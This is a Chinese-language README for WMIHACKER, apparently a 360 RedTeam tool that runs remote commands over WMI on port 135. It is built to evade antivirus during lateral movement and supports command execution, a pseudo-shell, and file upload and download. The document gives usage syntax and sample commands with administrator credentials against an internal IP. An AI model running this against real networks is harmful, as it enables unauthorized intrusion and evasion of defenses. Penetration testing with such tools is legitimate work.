WMIHACKER（仅135端口免杀横向移动）

横向移动命令执行工具

本工具现已上传Github: https://github.com/360-Linton-Lab/WMIHACKER

WMIHACKER是一款用于远程主机连接工具，通过135端口进行命令执行，执行结果读取以及无需445端口进行文件传输。任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担并将追究其相关责任！

0X00 介绍

关于横向渗透命令执行Psexec很经典但是日志和免杀是问题。WMI非常好用，关于WMI其他工具就不多讲了，原理网上很多了。大多数的工具都是使用Win32_Process.create()进行进程创建，少部分进行派生或者COM组件注册成Evil Provider，经测试都会被杀，因此我们改造出WMIHACKER免杀横向移动测试工具。

介绍：免杀横向渗透远程命令执行

主要功能：1、命令执行与结果读取；2、文件上传；3、文件下载

支持系统：Win2003机器以后全部版本

 

0X01 如何使用

C:UsersadministratorDesktop>cscript //nologo WMIHACKER_0.6.vbs

__          ____  __ _____   _    _          _____ _  ________ _____
         / /  /  |_   _| | |  | |   /   / ____| |/ /  ____|  __ 
    /  / /|   / | | |   | |__| |  /   | |    | ' /| |__  | |__) |
   /  / / | |/| | | |   |  __  | / / | |    |  < |  __| |  _  /
     /  /  | |  | |_| |_  | |  | |/ ____  |____| . | |____| |  
    /  /   |_|  |_|_____| |_|  |_/_/    ______|_|_______|_|  _
                              v0.6beta       By. Xiangshan@360RedTeam
Usage:
        WMIHACKER.vbs  /cmd  host  user  pass  command GETRES?

        WMIHACKER.vbs  /shell  host  user  pass

        WMIHACKER.vbs  /upload  host  user  pass  localpath remotepath

        WMIHACKER.vbs  /download  host  user  pass  localpath remotepath

          /cmd          single command mode
          host          hostname or IP address
          GETRES?       Res Need Or Not, Use 1 Or 0
          command       the command to run on remote host

 

0X02 主界面

参数：

执行模式包括/cmd、/shell、/upload、/download分别指执行命令、模拟shell、上传文件、下载文件

/cmd模式中GETRES取1 or 0, 1代表获取命令执行结果，0代表不获取结果，比如执行命令为”echo 1 > .pipetest”这类需要重定向或其他不需要输出的命令选择值应该为0.

 

0X03 测试使用

执行前对主机进行端口扫描，只开放135端口。

测试有命令回显执行方式

> cscript //nologo wmihacker_0.4.vbs /cmd 172.16.94.187 administrator "Team1234!" "ipconfig" 1

无命令回显

> cscript wmihacker_0.4.vbs /cmd 172.16.94.187 administrator "Team1234!" "echo whoami > c:1.txt" 0

文件上传-复制本机calc.exe到远程主机c:calc.exe

> cscript wmihacker_0.4.vbs /upload 172.16.94.187 administrator "Team1234!" "c:windowssystem32calc.exe" "c:calc"

文件下载-下载远程主机calc.exe到本地c:calc.exe

> cscript wmihacker_0.4.vbs /download 172.16.94.187 administrator "Team1234!" "c:calc" "c:windowssystem32calc.exe"